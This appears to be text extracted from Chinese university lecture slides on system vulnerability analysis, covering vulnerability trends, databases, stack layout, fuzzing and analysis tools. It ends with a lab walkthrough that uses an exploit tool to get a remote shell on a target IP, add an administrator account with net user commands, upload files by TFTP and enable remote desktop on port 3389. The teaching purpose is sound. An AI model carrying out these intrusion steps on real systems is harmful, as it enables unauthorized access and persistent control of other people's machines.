第二讲 系统漏洞分析及相关标准

,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,2019/3/3 Sunday,#,系统漏洞分析及相关标准,系统,漏洞,概述,为什么带来众多的安全问题？,安全状况越来越糟,安全威胁越来越大,主要根源是什么？,安全管理的问题？,硬件和软件脆弱性的问题！,信息网络安全根源,漏洞发展趋势,漏洞数量日益增多，且危害日益严重。,美国国家漏洞库NVD收集的漏洞数量平均每天16个，其中高,度危险的漏洞占近50%，且每年基本都呈递增趋势。,截至2013年12月，全年新增漏洞6366个，危急、高危、中,危和低危的修复率,93,.,53,%,、,89,.,5,%,、,72,.,70,%,以,及,73,.,6,4,%,。其中Oracle漏洞最多，共533个。,漏洞存在的范围日益扩大。,操作系统的安全漏洞仍是信息系统当前面临的主要问题。,应用程序的漏洞逐年增多，尤其是国产软件,漏洞发展趋势,蠕虫名称,漏洞发布时间,大规模,爆发时间,时间间隔,尼姆达,Worm_Nimda,2000-10-17,MS00-078,2001-09-18,336,天,Worm_Slammer,2002-07-24,MS02-039,2003-01-25,185,天,冲击波,Worm_Blaster,2003-07-16,MS03-026,2003-08-11,26,天,震荡波,Worm_Sasser,2004-04-13,MS04-011,2004-05-01,18,天,狙击波,Worm_Zotob.a,2005-08-09,MS05-039,2005-08-13,4,天,魔波,Worm_Mocbot,2006-08-08,MS06-040,2006-08-12,4,天,Exploit.Win32.MS08,-067.g,2008-10-23,MS08-067,2008-10-23前,0,天,漏洞利用趋于简单化,网络搜索引擎可以很容易搜索各种攻击代码。,攻击程序已模块化,漏洞利用趋于快速化,国外漏洞情况,（美国）,漏洞管理方面,以民间组织CERT/CC、政府协调机构USCERT,和,政府部门美,国,国家标,准,与技术,委,员,会,N,I,S,T,为,核,心,，,相关安全机构组织、专业安全技术公司、,产品供应商,、,研究机构和个体为支撑的一个比较完善的体,系,。,漏洞发现方面:,主要依靠产品供应商（如微软公司、思科公司）、,专业安全公司和组织、研究机构,国外漏洞情况,（美国）,漏洞收集、验证和威胁评估方面：,1988年，Morris蠕虫爆发，成立第一个CERT组织,1999年，美国建立了公共漏洞和暴露列表CVE,2002年白宫发布了保护网络空间的国家战略，由美国国,家网络安全司NCSD负责具体执行该战略。,2003年9月，美国国土安全部联合CERT/CC宣布成立美国,官方的应急响应组织US-CERT,，作为NCSD的运作机构。,CERT/CC实际上已成为了US-CERT的主要组成部分，并共,同维护了US-CERT,Vulnerability,Notes数据库,美国国家标准与技术委员会NIST下属的计算机安全资源中心,CSRC创建了国家漏洞库NVD(2006年8月),国外软件漏洞情况（美国）,安全漏洞发布,根据漏洞的危害程度有不同的发布策略。,对于满足特定危害等级（Severity,Threshold，0-180）,的安全漏洞，US-CERT将专门发布告警信息（Alert）。,对于危害不是特别严重但影响普遍的安全漏洞，通过一般,的US-CERT,Vulnerability,Notes方式在USCERT的网,站发布。,国内软件漏洞研究现状,国内公司,有一些公司具备一定的能力，但总体上看开展漏洞研究工作的公,司还很少。,研究机构,部分高校，研究所,CNCERT：,2000年便开始了漏洞处置相关的工作；拟定了与CVE兼容的、,国内第一个漏洞库结构标准中文计算机信息系统通用漏洞,库（CNCVE）结构标准；通过网站、公告、电子邮件等形式,发布漏洞公告，,2006年共整理发布与我国用户密切相关的漏洞,公告87个，2007年发布了104个。,目标：促进厂商做好漏洞修补服务，帮助用户做好安全防范。,民间力量,论坛,黑客组织,国内软件漏洞研究现状,国家对安全漏洞研究工作的重视程度有待提高,与国外已建立相对成熟的漏洞处置体系，并拥有众多漏 洞处置相关机构相比，国内漏洞处置工作整体水平与国 外相比仍有较大差距。,缺乏对信息产品,安,全漏洞的监,管,，漏洞的预,防,、,发现,、评估、处置等各个环节缺乏统一的协调。,漏洞自主发现能力较弱，水平不高，主要依赖国外,绝大多数漏洞信息均是由国外相关组织首先发现和发布，,国内再参考引用。,缺乏对民间力量,的,有效引导,，,很,多民间的漏,洞,分析 者逐渐倾向于为黑客攻击服务。,国内漏洞研究现状,CNNVD关于漏洞收集、处置和合作,面向国内外信息安全研究机构和个人爱好者推出了未公,开漏洞提交受理业务,。,针对接受的漏洞，进行漏洞收集、漏洞验证、,漏洞修复,和漏洞通报等工作,开展广泛的社会合作，如专家计划、技术支撑单位、,战,略合作伙伴和白帽子注册计划,。,软件漏洞数据库,数,据,库,美国NVD,(,National,Vulnerability,Database,),SecurityFocus,Vulnerability,Database,BugTraq,CNNVD,CNCERT/CNVD,安全漏洞数据库,脆弱性定义及描述语言,部分软件漏洞研发单位,漏洞分析技术,逆向分析背景知识,编译器,、调试器的使用,Win32,:,VC6.0+OllyDbg,进程内存空间结构,汇编语言基本知识,栈的基本结构,函数调用过程,VC,6,.,0,命令行,W,i,n,3,2,平台调试器,W,i,n,3,2,进程内存空间,系统核心内存区间,0xFFFFFFFF0x80000000,(4G2G),为,Win32,操作系统保留,用户内存区间,0x000000000x80000000,(2G0G),堆,:,动态分配变量,(malloc),向高地址增长,静态内存区间,:,全局变量、静态变量,代码区间,:,从,0x00400000,开始,栈,:,向低地址增长,单线程进程：,(,栈底地址,:,0x0012FFXXXX),多线程进程拥有多个堆,/,栈,程序在内存中的映像,堆栈段,数据段,文本（代码）段,内存低地址,内 存 递 增 方 向,内存高地址,堆的增长方向,栈的增长方向,0x,7FFFFFFF,堆(Heap),栈(stack),非初始化数据段(BSS),初始化数据段,代码段,系统DLL,PEB&TEB,内核数据代码,0x80000000,栈,栈内容,汇编语言基础知识寄存器,汇编语言基础知识汇编指令,AT&T,格式与,Intel,格式,三个重要的寄存器,SP(ESP),即栈顶指针，随着数据入栈出栈而发生变化,BP(EBP),即基地址指针，,用于标识栈中一个相对稳定的位置,。,通过,BP,可以方便地引用函数参数以及局部变量,IP(EIP),即指令寄存器，在将某个函数的栈帧压入栈中时,，,其中,就,包,含,当,前,的,I,P,值，,即,函,数,调,用,返,回,后,下,一,个执行语句的地址,函数调用过程,把参数压入栈,保,存,指令寄,存,器中的,内,容,，,作,为,返,回,地,址,放入堆栈当前的基址寄存器,把当前的栈指针,(ESP),拷贝到基址寄存器,，,作为新的基地址,为本地变量,留,出一定,空,间,，把,E,S,P,减去,适当的数值,函数调用中栈的工作过程,软件漏洞分析技术,源代码审核,Fuzzing,测试,API,函数参数测试,补丁比对,静态分析,动态调试污点检查,Fuzzing,测试技术（一）,Fuzzing,是一种基于缺陷注入的自动软件测试技术,通过编写,fuzzer,工具向,目标程序,提供某种形式的输入并观察其响应来发现问题，这种输入可以是完全随机的或精心构造的。,Fuzzing,测试通常以大小相关的部分、字符串、标志字符串开始或结束的,二进制,块等为重点，使用边界值附近的值对目标进行测试。,Fuzzing,测试技术,（,二,）,Fuzzing,测试技术,（,三,）,Fuzzing,测试技术,（,四,）,Fuzzing,测试技术（五）,测试框架,A,P,I,函数参数测试技术（一）,补丁比对技术（一）,补丁比对漏洞挖掘过程,，结构化比对,静态分析技术（一）,分析流程,静态分析与动态分析比较,软件分析工具（总结）,漏洞分析方向,软件漏洞,软件,的安全性漏洞的发现方法主要还是依赖于人工干预，典型方法是将已发现的安全漏洞进行总结，形成一个漏洞知识经验库，然后利用该漏洞库，通过人工识别或者程序自动识别。用程序自动发现漏洞的技术主要有词法分析、模型检查、状态机检查、错误注入,(Fault Injection),、自动定理证明，典型软件程序安全发现工具有如,表所示,。,工具名称,简要描述,flawfinder,利用词法分析技术发现以,C,语言编写的源程序安全漏洞,Splint,检查以,C,语言编写的程序安全漏洞,ITS4,检查以,C,和,C+,语言编写的源程序安全漏洞,Grep,自定义漏洞模式，检查任意源程序安全漏洞,MOPS,利用状态机技术来分析以,C,语言编写的源程序安全漏洞,boon,检查缓冲区溢出漏洞,通信协议漏洞,网络,通信协议的安全性是实现网络数据安全传送的保障。例如，由于以太网协议是基于共享信道广播通信，容易造成广播风暴或泄漏信息。现在，大多数网络嗅探器都利用以太网协议的这个漏洞，窃取局部网络的通信信息,。,工 具,用途描述,Dsniff,分析获取应用协议口令。,Ethereal,图形化网络协议分析工具，可分析网络通信数据。,TCPDump,Unix/Linux,平台网络协议分析工具。,windump,Windows,平台网络协议分析工具。,ip6sic,IPv6,协议栈压力测试工具,ISIC,TCP/IP,协议栈稳定性测试工具,操作系统典型漏洞,操作系统,是计算机资源的直接管理者，可以说操作系统的安全是整个计算机系统安全的基础。没有操作系统安全，就不可能真正解决数据库安全、网络安全和其他应用软件的安全问题。没有安全的操作系统作基础，其他的安全技术就难以发挥效力。现在应用最广泛的,Windows,系列操作系统存在很多安全漏洞。,工 具,网 址,简 介,Crack 5,http:/www.crypticide.org/users/alecm/,Crack,是一个密码猜测工具，用于发现,UNIX,系统中的弱口令用户。,John the Ripper, the Ripper,是一个快速的口令破解工具，能用于多个平台。,L0pht Crack, ,表示存在漏洞,; Disable ,表示无漏洞,.,操作步骤,2,、入侵，在命令行界面输入以下指令,指令格式,:,wdx,目标,IP 0 1,操作步骤,2.1,、入侵成功后，取得目标命令行窗口,”,远程窗口”,.,输入,ipconfig,指令验证的确是目标,IP,地址。,操作步骤,3,、目标机添加超级用户,/,密码,(a/b),指令格式,:,net user a b /add,net localgroup administrators a /add,操作步骤,4,、传输文件到目标机,工具：,tftpd32.exe,要传输文件：,installterm.exe,操作步骤,4.1,、传输文件,双击运行,tftpd32.exe,开启,tftpd,传输服务,.,操作步骤,4.2,、传输文件,在“远程窗口”，运行以下指令，将,installterm.exe,文件传送到要。入侵的计算机的“,winntsystem32,”,目录。,操作步骤,5,、获取图形界面,说明,:,要在目标开启,3389,终端服务，需要使用“,termsrv.exe,”,文件。默认情况下，这个文件保存在,winntsystem32,目录。,操作步骤,5.1,、获取图形界面,在“,远程窗口,”运行以下指令，开启,3389,服务,:,Installterm.exe -install termsrv.exe Windows Terminal Service 3389,操作步骤,5.2,、获取图形界面,如果安装成功,你会在“,远程窗口,”,，看到以下信息：,Set Enabled Successfully,Set ShutdownWithoutLogon Successfully,Set EnableAdminTSRemote Successfully,Set TSEnabled Successfully,Set Start Successfully,Set Hotkey Successfully,Install Service Windows Terminal Service Succesully,Set PortNumber Successfully,操作步骤,5.3,获,取图形界面,测试,:,远程桌面连接,(,开始,-,附件,-,通讯,-,远程桌面连接,),操作步骤,6,、学生练习,作业：,将登录到开启,3389,端口的远程桌面截图上传到教师机。,操作步骤,7,、安全小结,我们的电脑这么不安全吗？怎么办？,解决方法：,打补丁,。,